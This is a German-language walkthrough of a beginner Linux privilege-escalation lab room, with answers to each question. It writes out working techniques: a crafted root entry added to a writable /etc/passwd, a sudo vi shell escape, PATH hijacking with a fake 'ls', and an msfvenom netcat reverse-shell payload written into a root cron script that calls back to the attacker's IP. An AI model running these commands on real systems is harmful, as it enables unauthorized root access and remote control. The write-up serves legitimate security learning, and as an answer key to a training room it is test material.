Der Common Linux Privesc Raum gehört zum Complete Beginner Path und erklärt die Privilege Escalation (Erhöhung der Zugriffsrechte auf einem fremden System) unter Linux.

Task 1 Get Connected

Frage 1:
Deploy the machine

Antwort 1:
Keine Antwort benötigt.

Task 2 Understanding Privesc

Frage 1:
Read the information about privilege escalation

Antwort 1:
Keine Antwort benötigt.

Task 3 Direction of Privilege Escalation

Frage 1:
Understand the difference between Horizontal and Vertical privilege escalation.

Antwort 1:
Keine Antwort benötigt.

Task 4 Enumeration

Für diese Aufgabe benötigen wir LinEnum. LinEnum ist ein einfaches Bash-Skript, das gängige Befehle im Zusammenhang mit der Privilege Escalation ausführt und somit Zeit sparen kann.

https://github.com/rebootuser/LinEnum/blob/master/LinEnum.sh

Frage 1:
First, lets SSH into the target machine, using the credentials user3:password. This is to simulate getting a foothold on the system as a normal privilege user.

MIt folgendem Befehl stellen wir eine SSH Verbindung her:

ssh user3@DIE_IP_DEINER_MACHINE

Dann bestätigen wir mit „yes“ uns geben das Passwort („password“) ein.

Antwort 1:
Keine Antwort benötigt.

Frage 2:
What is the target’s hostname?

Den Hostnamen finden wir ganz leicht mit dem Befehl „hostname“ heraus.

user3@polobox:~$ hostname
polobox
user3@polobox:~$ 

Antwort 2:
polobox

Frage 3:
Look at the output of /etc/passwd how many „user[x]“ are there on the system?

Schauen wir uns die passwd Datei mit „cat /etc/passwd“ an.

user3@polobox:~$ cat /etc/passwd
--snip--
user1:x:1000:1000:user1,,,:/home/user1:/bin/bash
user2:x:1001:1001:user2,,,:/home/user2:/bin/bash
user3:x:1002:1002:user3,,,:/home/user3:/bin/bash
user4:x:1003:1003:user4,,,:/home/user4:/bin/bash
statd:x:120:65534::/var/lib/nfs:/usr/sbin/nologin
user5:x:1004:1004:user5,,,:/home/user5:/bin/bash
user6:x:1005:1005:user6,,,:/home/user6:/bin/bash
mysql:x:121:131:MySQL Server,,,:/var/mysql:/bin/bash
user7:x:1006:0:user7,,,:/home/user7:/bin/bash
user8:x:1007:1007:user8,,,:/home/user8:/bin/bash
sshd:x:122:65534::/run/sshd:/usr/sbin/nologin
user3@polobox:~$ 

Antwort 3:
8

Frage 4:
How many available shells are there on the system?

Die verfügbaren Shells können wir mit „cat /etc/shells“ aufrufen.

user3@polobox:~$ cat /etc/shells
# /etc/shells: valid login shells
/bin/sh
/bin/dash
/bin/bash
/bin/rbash
user3@polobox:~$ 

Antwort 4:
4

Frage 5:
What is the name of the bash script that is set to run every 5 minutes by cron?

Alle Cronjobs sehen wir mit „cat /etc/crontab“. Der Hint gibt uns noch den Hinweis, dass das gesuchte Bash Script von User 4 ist.

user3@polobox:~$ cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user  command
*/5  *    * * * root    /home/user4/Desktop/autoscript.sh
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
user3@polobox:~$ 

Antwort 5:
autoscript.sh

Frage 6:
What critical file has had its permissions changed to allow some users to write to it?

Der Hint gibt uns noch den Hinweis „Think about where passwords are stored on Linux“. Das kann also nur /etc/passwd“ sein. Sehen wir uns die Permissions an:

user3@polobox:~$ ls -l /etc/passwd
-rw-rw-r-- 1 root root 2694 Mar  6  2020 /etc/passwd
user3@polobox:~$ 

HIer sehen wir, dass die Datei dem root Benutzer aus der root Gruppe gehört. Sowohl vom Besitzer, als auch von der Gruppe kann die Datei gelesen und beschrieben werden (rw).

Antwort 6:
/etc/passwd

Frage 7:
Well done! Bear the results of the enumeration stage in mind as we continue to exploit the system!

Antwort 7:
Keine Antwort benötigt.

Task 5 Abusing SUID/GUID Files

Frage 1:
What is the path of the file in user3’s directory that stands out to you?

Benutzen wir einfach die vorgegeben Suchparameter in diesem Raum: „find / -perm -u=s -type f 2>/dev/null

user3@polobox:~$ find / -perm -u=s -type f 2>/dev/null
/sbin/mount.nfs
/sbin/mount.ecryptfs_private
/sbin/mount.cifs
/usr/sbin/pppd
/usr/bin/gpasswd
/usr/bin/pkexec
/usr/bin/chsh
/usr/bin/passwd
/usr/bin/traceroute6.iputils
/usr/bin/chfn
/usr/bin/arping
/usr/bin/newgrp
/usr/bin/sudo
/usr/lib/xorg/Xorg.wrap
/usr/lib/eject/dmcrypt-get-device
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/bin/ping
/bin/su
/bin/ntfs-3g
/bin/mount
/bin/umount
/bin/fusermount
/home/user5/script
/home/user3/shell
user3@polobox:~$ 

Nur eine Datei von User 3, sehr einfach!

Antwort 1:
/home/user3/shell

Frage 2:
We know that „shell“ is an SUID bit file, therefore running it will run the script as a root user! Lets run it!
We can do this by running: „./shell“

user3@polobox:~$ ./shell
You Can't Find Me
Welcome to Linux Lite 4.4 user3
 
Tuesday 28 June 2022, 13:10:10
Memory Usage: 330/1991MB (16.57%)
Disk Usage: 6/217GB (3%)
Support - https://www.linuxliteos.com/forums/ (Right click, Open Link)
 
root@polobox:~# 

Antwort 2:
Keine Antwort benötigt.

Frage 3:
Congratulations! You should now have a shell as root user, well done!

Antwort 3:
Keine Antwort benötigt.

Task 6 Exploiting Writeable /etc/passwd

Frage 1:
First, let’s exit out of root from our previous task by typing „exit“. Then use „su“ to swap to user7, with the password „password“

root@polobox:~# exit
exit
user3@polobox:~$ su -l user7
Password: 
Welcome to Linux Lite 4.4 user7
 
Tuesday 28 June 2022, 13:20:54
Memory Usage: 331/1991MB (16.62%)
Disk Usage: 6/217GB (3%)
Support - https://www.linuxliteos.com/forums/ (Right click, Open Link)
 
user7@polobox:~$ 

Antwort 1:
Keine Antwort benötigt.

Frage 2:
Having read the information above, what direction privilege escalation is this attack?

Die Antwort ist „vertical“, da wir uns von unten nach oben hocharbeiten, um höherwertigere Zugriffsrechte zu bekommen (siehe Task 3).

Antwort 2:
vertical

Frage 3:
Before we add our new user, we first need to create a compliant password hash to add! We do this by using the command: „openssl passwd -1 -salt [salt] [password]“
What is the hash created by using this command with the salt, „new“ and the password „123“?

user7@polobox:~$ openssl passwd -1 -salt new 123
$1$new$p7ptkEKU1HnaHpRtzNizS1
user7@polobox:~$ 

Antwort 3:
$1$new$p7ptkEKU1HnaHpRtzNizS1

Frage 4:
Great! Now we need to take this value, and create a new root user account. What would the /etc/passwd entry look like for a root user with the username „new“ and the password hash we created before?

Wir benutzen dazu die Anleitung im Task:

Antwort 4:
new:$1$new$p7ptkEKU1HnaHpRtzNizS1:0:0:root:/root:/bin/bash

Frage 5:
Great! Now you’ve got everything you need. Just add that entry to the end of the /etc/passwd file!

Wir öffnen den Texteditor nano und fügen die Antwort von Frage 4 unten an. Wir Beenden den Texteditor mit STRG+X, bestätigen die Änderung mit „y“ und drücken Enter.

nano /etc/passwd

Antwort 5:
Keine Antwort benötigt.

Frage 6:
Now, use „su“ to login as the „new“ account, and then enter the password. If you’ve done everything correctly- you should be greeted by a root prompt! Congratulations!

user7@polobox:~$ su -l new
Password: 
Welcome to Linux Lite 4.4
 
You are running in superuser mode, be very careful.
 
Tuesday 28 June 2022, 13:47:12
Memory Usage: 339/1991MB (17.03%)
Disk Usage: 6/217GB (3%)
 
root@polobox:~# 

Antwort 6:
Keine Antwort benötigt.

Task 7 Escaping Vi Editor

In diesem Task lernen wir GTFOBins kennen. GTFOBins ist eine Sammlung von Unix-Binärdateien, die zur Umgehung lokaler Sicherheitsbeschränkungen genutzt werden kann. Den Link sollte man sich speichern!

Frage 1:
First, let’s exit out of root from our previous task by typing „exit“. Then use „su“ to swap to user8, with the password „password“

root@polobox:~# exit
logout
user7@polobox:~$ su -l user8
Password: 
Welcome to Linux Lite 4.4 user8
 
Tuesday 28 June 2022, 13:57:20
Memory Usage: 339/1991MB (17.03%)
Disk Usage: 6/217GB (3%)
Support - https://www.linuxliteos.com/forums/ (Right click, Open Link)
 
user8@polobox:~$ 

Antwort 1:
Keine Antwort benötigt.

Frage 2:
Let’s use the „sudo -l“ command, what does this user require (or not require) to run vi as root?

user8@polobox:~$ sudo -l
Matching Defaults entries for user8 on polobox:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User user8 may run the following commands on polobox:
    (root) NOPASSWD: /usr/bin/vi
user8@polobox:~$ 

Antwort 2:
NOPASSWD

Frage 3:
So, all we need to do is open vi as root, by typing „sudo vi“ into the terminal.

Antwort 3:
Keine Antwort benötigt.

Frage 4:
Now, type „:!sh“ to open a shell!

Antwort 4:
Keine Antwort benötigt.

Task 8 Exploiting Crontab

Frage 1:
First, let’s exit out of root from our previous task by typing „exit“. Then use „su“ to swap to user4, with the password „password“

Nachdem ich „exit“ eingegeben habe, war ich wieder in Vi und nicht im Terminal. Um Vi zu verlassen muss man „ESC“ drücken und „:q!“ eigeben, gefolgt von „Enter“, um Vi zu verlassen.

user8@polobox:~$ su -l user4
Password: 
Welcome to Linux Lite 4.4 user4
 
Tuesday 28 June 2022, 14:06:53
Memory Usage: 342/1991MB (17.18%)
Disk Usage: 6/217GB (3%)
Support - https://www.linuxliteos.com/forums/ (Right click, Open Link)
 
user4@polobox:~$

Antwort 1:
Keine Antwort benötigt.

Frage 2:
Now, on our host machine- let’s create a payload for our cron exploit using msfvenom. 

Antwort 2:
Keine Antwort benötigt.

Frage 3:
What is the flag to specify a payload in msfvenom?

Wie wir in vorherigen Räumen zu Metasploit gelernt haben, ist diese Flag „-p“.

Antwort 3:
-p

Frage 4:
Create a payload using: „msfvenom -p cmd/unix/reverse_netcat lhost=LOCALIP lport=8888 R

Auf unserem Rechner geben wir nun folgenden Befehl in die Kommandozeile ein:

msfvenom -p cmd/unix/reverse_netcat lhost=DEINE_EIGENE_IP lport=8888 R

Als Ausgabe erhalten wir folgende Payload:

└─$ msfvenom -p cmd/unix/reverse_netcat lhost=DEINE_EIGENE_IP lport=8888 R
[-] No platform was selected, choosing Msf::Module::Platform::Unix from the payload
[-] No arch selected, selecting arch: cmd from the payload
No encoder specified, outputting raw payload
Payload size: 91 bytes
mkfifo /tmp/dglos; nc DEINE_EIGENE_IP 8888 0</tmp/dglos | /bin/sh >/tmp/dglos 2>&1; rm /tmp/dglos
                                                                                             

Antwort 4:
Keine Antwort benötigt.

Frage 5:
What directory is the „autoscript.sh“ under?

Lassen wir uns wieder die Cronjobs anzeigen („cat /etc/crontab“):

user4@polobox:~$ cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user  command
*/5  *    * * * root    /home/user4/Desktop/autoscript.sh
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
user4@polobox:~$ 

                                                                                                    

Antwort 5:
/home/user4/Desktop

Frage 6:
Lets replace the contents of the file with our payload using: „echo [MSFVENOM OUTPUT] > autoscript.sh“

Wenn wir den Befehl aus der Frage nehmen wollen, dann müssen wir zuerst in das Verzeichnis der „autoscript.sh“ Datei wechseln:

cd /home/user4/Desktop

Anschließend nehmen wir folgenden Befehl:

echo "mkfifo /tmp/dglos; nc DEINE_EIGENE_IP 8888 0</tmp/dglos | /bin/sh >/tmp/dglos 2>&1; rm /tmp/dglos" > autoscript.sh

Antwort 6:
Keine Antwort benötigt.

Frage 7:
After copying the code into autoscript.sh file we wait for cron to execute the file, and start our netcat listener using: „nc -lvnp 8888“ and wait for our shell to land!

Wir starten den Netcat Listener auf unserem Rechner:

nc -lvnp 8888

Jetzt heißt es warten…

Antwort 7:
Keine Antwort benötigt.

Frage 8:
After about 5 minutes, you should have a shell as root land in your netcat listening session! Congratulations!

Antwort 8:
Keine Antwort benötigt.

Task 9 Exploiting PATH Variable

Frage 1:
Going back to our local ssh session, not the netcat root session, you can close that now, let’s exit out of root from our previous task by typing „exit“. Then use „su“ to swap to user5, with the password „password

user4@polobox:~/Desktop$ su -l user5
Password: 
Welcome to Linux Lite 4.4 user5
 
Tuesday 28 June 2022, 14:48:25
Memory Usage: 344/1991MB (17.28%)
Disk Usage: 6/217GB (3%)
Support - https://www.linuxliteos.com/forums/ (Right click, Open Link)
 
user5@polobox:~$ 

Antwort 1:
Keine Antwort benötigt.

Frage 2:
Let’s go to user5’s home directory, and run the file „script“. What command do we think that it’s executing?

Wir sollten uns bereits im home directory von user5 befinden. Wir können das ganz leicht mit „ls“ kontrollieren. Ist „script“ zu sehen, dann geben wir es in der Kommandozeile ein.

user5@polobox:~$ ls
Desktop  Documents  Downloads  Music  Pictures  Public  script  Templates  typescript  Videos
user5@polobox:~$ ./script
Desktop  Documents  Downloads  Music  Pictures  Public  script  Templates  typescript  Videos
user5@polobox:~$ 

„script“ führt wohl ebenfalls den „ls“ Befehl aus.

Antwort 2:
ls

Frage 3:
Now we know what command to imitate, let’s change directory to „tmp“

Wir wechseln zu „tmp“ mit „cd /tmp“

Antwort 3:
Keine Antwort benötigt.

Frage 4:
Now we’re inside tmp, let’s create an imitation executable. The format for what we want to do is:
echo „[whatever command we want to run]“ > [name of the executable we’re imitating]
What would the command look like to open a bash shell, writing to a file with the name of the executable we’re imitating

Um die Bash Shell auszuführen muss man nur, ganz typisch für Linux, nur den Pfad angeben. Da „script“ den Befehl „ls“ ausführt immitieren wir „ls“

Antwort 4:
echo „/bin/bash“ > ls

Frage 5:
Great! Now we’ve made our imitation, we need to make it an executable. What command do we execute to do this?

Hierzu müssen wir der Datei „ls“ Rechte zuweisen, das geht mit „chmod“ und der „-x“ Flag.

Antwort 5:
chmod +x ls

Frage 6:
Now, we need to change the PATH variable, so that it points to the directory where we have our imitation „ls“ stored! We do this using the command „export PATH=/tmp:$PATH“
Note, this will cause you to open a bash prompt every time you use „ls“. If you need to use „ls“ before you finish the exploit, use „/bin/ls“ where the real „ls“ executable is.
Once you’ve finished the exploit, you can exit out of root and use „export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:$PATH“ to reset the PATH variable back to default, letting you use „ls“ again!

Wir benutzen den angegeben Befehl in der Aufgabenstellung:

export PATH=/tmp:$PATH

Wie beschrieben, öffnet sich nun jedesmal die bash Konsole, wenn man „ls“ als Befehl eingibt.

Antwort 6:
Keine Antwort benötigt.

Frage 7:
Now, change directory back to user5’s home directory.

Dazu benutzen wir diesen Befehl:

cd /home/user5

Antwort 7:
Keine Antwort benötigt.

Frage 8:
Now, run the „script“ file again, you should be sent into a root bash prompt! Congratulations!

Zu guter Letzt:

./script

Nun haben wir root Zugriff:

user5@polobox:~$ ./script
Welcome to Linux Lite 4.4 user5
 
Tuesday 28 June 2022, 15:13:03
Memory Usage: 351/1991MB (17.63%)
Disk Usage: 6/217GB (3%)
Support - https://www.linuxliteos.com/forums/ (Right click, Open Link)
 
root@polobox:~# 

Antwort 8:
Keine Antwort benötigt.

Task 10 Expanding Your Knowledge

Die weiterführenden Links des Autors sind Checklisten für Linux Privilege Escalation. Er empfiehlt allerdings sich selbst solche Listen zu erstellen und dabei zu lernen.

Frage 1:
Well done, you did it!

Antwort 1:
Keine Antwort benötigt.

Das war es mit diesem Raum. Ich hoffe, dass euch mein WriteUp gefallen hat und bis zum nächsten Mal!